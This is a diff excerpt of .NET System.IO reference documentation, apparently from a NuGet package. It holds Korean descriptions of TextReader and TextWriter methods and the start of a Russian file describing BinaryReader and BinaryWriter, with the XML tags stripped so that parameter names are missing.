읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 판독기의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 텍스트 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드가 반환할 때 이 매개 변수에는 지정된 문자 배열의 값이 및 ( + -1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 들어 있습니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 텍스트 판독기에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 판독기의 다음 줄이거나 모든 문자를 읽은 경우 null입니다. + I/O 오류가 발생하는 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + + 가 닫힌 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 텍스트 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 읽어서 단일 문자열로 반환합니다. + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 포함하는 문자열입니다. + I/O 오류가 발생하는 경우 + + 가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 비동기적으로 읽어서 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 텍스트 판독기 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 일련의 문자를 연속하여 쓸 수 있는 작성기를 나타냅니다.이 클래스는 추상 클래스입니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 서식 공급자를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 서식 지정을 제어하는 개체입니다. + + + 이 TextWriter에 사용한 줄 바꿈 문자를 저장합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의된 경우 출력을 쓰는 문자 인코딩을 반환합니다. + 출력을 쓰는 문자 인코딩입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 작성기를 현재 사용하고 있습니다. + + + 서식 지정을 제어하는 개체를 가져옵니다. + 특정 문화권에 대한 개체이거나, 다른 문화권을 지정하지 않은 경우 현재 문화권의 서식입니다. + 2 + + + 현재 TextWriter에서 사용한 줄 종결자 문자열을 가져오거나 설정합니다. + 현재 TextWriter의 줄 종결자 문자열입니다. + 2 + + + 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 TextWriter에 제공하지 않습니다. + 1 + + + Boolean 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열을 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + + 또는 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.가 null이면 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 줄 종결자를 텍스트 문자열 또는 스트림에 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + Boolean 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + 데이터 읽기를 시작하는 의 문자 위치입니다. + 쓸 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + 문자열이나 개체가 null로 전달되는 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 줄 종결자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.문자 배열이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/ru/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/ru/System.IO.xml new file mode 100644 index 0000000..c4d59b1 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/ru/System.IO.xml @@ -0,0 +1,2023 @@ + + + + System.IO + + + + Считывает примитивные типы данных как двоичные значения в заданной кодировке. + 2 + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Входной поток. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов. + Входной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Входной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Параметр или имеет значение null. + + + Предоставляет доступ к базовому потоку объекта . + Базовый поток, связанный с объектом BinaryReader. + 2 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Заполняет внутренний буфер указанным количеством байтов, которые были cчитаны из потока. + Количество байтов, чтение которых необходимо выполнить. + Конец потока достигнут раньше, чем было выполнено чтение байтов. + Ошибка ввода-вывода. + Запрошенное значение превышает размер внутреннего буфера. + + + Возвращает следующий доступный для чтения символ, не перемещая позицию байта или символа вперед. + Следующий доступный символ или значение -1, если в потоке больше нет символов, или поток не поддерживает поиск. + Ошибка ввода-вывода. + Текущий символ не может быт декодирован в буфер внутренних символов с помощью , выбранного для потока. + 2 + + + Выполняет чтение знаков из базового потока и перемещает текущую позицию в потоке вперед в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Следующий символ из входного потока или значение -1, если в настоящее время доступных символов нет. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Считывает указанное количество байтов из потока, начиная с заданной точки в массиве байтов. + Количество байтов, считанных в .Количество символов может быть меньше указанного числа, если в потоке осталось меньше байтов, чем следует считать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Количество байтов, чтение которых необходимо выполнить. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество символов из потока, начиная с заданной точки в массиве символов. + Общее количество символов, считанных в буфер.Количество символов может быть меньше указанного числа, если в потоке осталось меньше символов, чем следует прочитать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Число символов для чтения. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число в сжатом формате. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Поток поврежден. + + + Считывает значение Boolean из текущего потока и перемещает текущую позицию в потоке на один байт вперед. + Значение true, если байт не равен нулю; в противном случае — значение false. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока следующий байт и перемещает текущую позицию в потоке на один байт вперед. + Следующий байт, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество байтов из текущего потока в массив байтов и перемещает текущую позицию на это количество байтов. + Массив байтов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных байтов. + Количество байтов, чтение которых необходимо выполнить.Это значение должно быть равно 0 или быть больше 0, иначе возникнет исключение. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Ошибка ввода-вывода. + Поток закрыт. + Значение отрицательно. + 2 + + + Считывает следующий знак из текущего потока и изменяет текущую позицию в потоке в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Символ, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Выполнено чтение символа-заместителя. + 2 + + + Считывает указанное количество символов из текущего потока, возвращает данные в массив символов и перемещает текущую позицию в соответствии с используемой Encoding и определенным символом, считываемым из потока. + Массив символов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных символов. + Количество символов, которое необходимо считать. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Поток закрыт. + Ошибка ввода-вывода. + Значение отрицательно. + 2 + + + Считывает десятичное значение из текущего потока и перемещает текущую позицию в потоке на шестнадцать байтов вперед. + Десятичное значение, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Число с плавающей запятой длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 2 байта из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 8 байта из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Целое число со знаком длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока байт со знаком и перемещает текущую позицию в потоке на один байт вперед. + Байт со знаком, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Число с плавающей запятой длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает строку из текущего потока.Строка предваряется значением длины строки, которое закодировано как целое число блоками по семь битов. + Считываемая строка. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 2 байта в формате с прямым порядком байтов из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число без знака длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число без знака длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байтов вперед. + Целое число без знака длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Записывает простые типы данных в поток как двоичные значения и поддерживает запись строк в определенной кодировке. + 2 + + + Выполняет инициализацию нового экземпляра класса , который осуществляет запись в поток. + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Выходной поток. + Поток не поддерживает запись или был закрыт до начала операции. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов. + Выходной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Выходной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Получает базовый поток . + Базовый поток, связанный с объектом BinaryWriter. + 1 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Задает без резервного хранилища. + 1 + + + Содержит базовый поток. + + + Задает позицию в текущем потоке. + Позиция в текущем потоке. + Смещение в байтах относительно . + Поле указывает точку отсчета, относительно которой указывается новая позиция. + Указатель позиции в файле перемещен в недопустимую позицию. + Значение является недопустимым. + 1 + + + Выполняет запись значения типа Boolean длиной один байт в текущий поток, при этом 0 соответствует значению false, а 1 — значению true. + Записываемое в поток значение типа Boolean (0 или 1). + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись байта без знака в текущий поток и перемещает позицию в потоке на один байт вперед. + Записываемый в поток байт без знака. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись массива байтов в базовый поток. + Массив байтов, содержащий записываемые в поток данные. + Ошибка ввода-вывода. + Поток закрыт. + Параметр имеет значение null. + 1 + + + Выполняет запись части массива байтов в текущий поток. + Массив байтов, содержащий записываемые в поток данные. + Стартовая точка в 